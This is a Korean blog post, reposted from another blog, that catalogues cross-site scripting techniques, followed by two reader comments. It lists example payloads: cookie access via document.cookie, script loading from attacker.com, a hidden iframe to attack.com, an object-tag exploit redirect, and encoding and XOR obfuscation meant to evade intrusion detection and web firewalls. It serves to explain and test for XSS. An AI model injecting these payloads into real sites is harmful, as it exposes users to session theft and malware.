XSS (Cross Site Scripting) 프로그래밍




오랜만에 XSS를 검색하다가 잘 정리된 사이트를 발견하여 정리해 둡니다.

XSS (Cross Site Scripting) 크로스 사이트 스크립팅은 서버의 서비스를 공격하는 일반적인 해킹방법이 아니라 해당 서버를 사용하는 사용자를 공격하는 기법이다. 예를 들어 서비스를 사용하는 사용자가 글을 읽으려고 클릭하는 순간 글에 연결되어 있는 스크립트가 실행되고 스크립트를 통하여 사용자에게 악성코드가 심어진다.

글, 메일, 그림 등을 열람하기 위하여 사용자들의 흥미를 유발시키기 때문에 사회공학적 해킹기법으로 분류된다.


1. XSS Test

일반적인 게시판에 <script>alert("XSS")</script>라고 입력하여 XSS라는 메시지 창이 뜨면 XSS취약점이 있는 것이다.

예제1) 사용자의 쿠키값을 획득
<script>alert(document.cookie);</script>

예제2) 클릭 시 악성코드가 있는 사이트로 이동
<a href="http://test.com/test.cgi?loc=<script src='http://attacker.com/test'></script>">Click</a>

2. iframe 태그

예제1) 숨겨진 iframe를 이용해 악성코드 사이트로 이동
<iframe src=" http://attack.com" width="0" height="0" frameborder="0"></iframe>

3. object 태그

예제1) 지정한 파일이 존재하지 않을 때 악성코드 사이트로 이동하도록 함.
<object width=0 height=0 sytle=display:none; type=text/xscriptlet data=mk:@MSITStore:mhtml:c:\nosuchfile.mht! http://test.com/attack_chm::exploit.html></object>

4. div 기법

예제1) div 태그를 사용하여 이미지 등을 삽입시킨다.
<div style="position:absolute; left:200; top:90; z-index:2;">
    <img src="images/test.jpg">
</div>

5. 인코딩 기법

예제1) 공격하려는 문자열을 다른 표현으로 인코딩하여 눈에 띠지 않거나, IPS, 웹방화벽 드의 감지패턴을 우회하기 위하여 인코딩한다.

원본 : <script>alert("test");</script>
인코딩 : <script>alert(String.fromCharCode(116, 101, 115, 116))</script>

6. Obfuscated 기법

예제1) 인코딩 기법과 같이 우회하기 위해 사용한다.
<s-ript language="javas-ript">
    e = '0x00' + '5F';
    str1 = "%E4%BC%B7%AA%C0%AD ....... %AA%E2";
    str = tmp = '';

    for(i=0; i<str1.length; i+=3)
    { 
        tmp = unescape(str1.slice(i,i+3));
        str = str + String.fromCharCode((tmp.charCodeAt(0)^e)-127);
    }

    document.write(str); 
</script>

7. 기타우회 방법

;</script><script>alert("xss");</script>

출처 : http://blog.naver.com/sdream4?Redirect=Log&logNo=10046998900

XSS 해킹 동영상 : http://video.naver.com/2008010622482514720

덧글

  • <script>fo 2010/04/21 22:00 # 삭제 답글

    <script>for(i=1;i<1000;i++){alert(“XSS Attack TEST”)}</script>
  • 어린왕자 2010/04/22 13:05 # 답글

    이글루스는 스크립트 막혀 있죠;;;